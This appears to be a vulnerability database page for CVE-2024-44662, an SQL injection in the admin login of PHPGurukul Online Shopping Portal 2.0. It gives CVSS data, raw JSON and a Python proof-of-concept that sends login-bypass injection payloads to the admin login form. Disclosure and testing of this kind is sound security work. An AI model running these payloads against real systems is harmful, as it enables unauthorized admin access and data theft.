Security Vulnerability Report
中文
CVE-2024-44662 CVSS 6.5 MEDIUM

CVE-2024-44662

Published: 2025-11-17 19:16:16
Last Modified: 2025-11-18 20:45:22

Description

PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the username parameter in the admin page.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Shopping Portal 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44662 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 admin login page # Vulnerability: SQL Injection via username parameter def exploit_sqli(target_url): """ Exploit SQL Injection in admin login page """ login_url = f"{target_url}/admin/login.php" # Basic SQL injection payloads to test vulnerability payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "admin' UNION SELECT 1,2,3 --" ] for payload in payloads: data = { 'username': payload, 'password': 'anypassword', 'submit': 'Login' } try: response = requests.post(login_url, data=data, timeout=10) # Check for successful login indicators if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print(f"[+] Possible successful injection with payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2024-44662.py <target_url>") print("Example: python cve-2024-44662.py http://target.com/shopping-portal") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2024-44662 on {target}") exploit_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44662", "sourceIdentifier": "[email protected]", "published": "2025-11-17T19:16:16.263", "lastModified": "2025-11-18T20:45:22.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the username parameter in the admin page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E358155-68C0-4C86-8359-49F37445DC44"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44662.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/shopping-portal-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}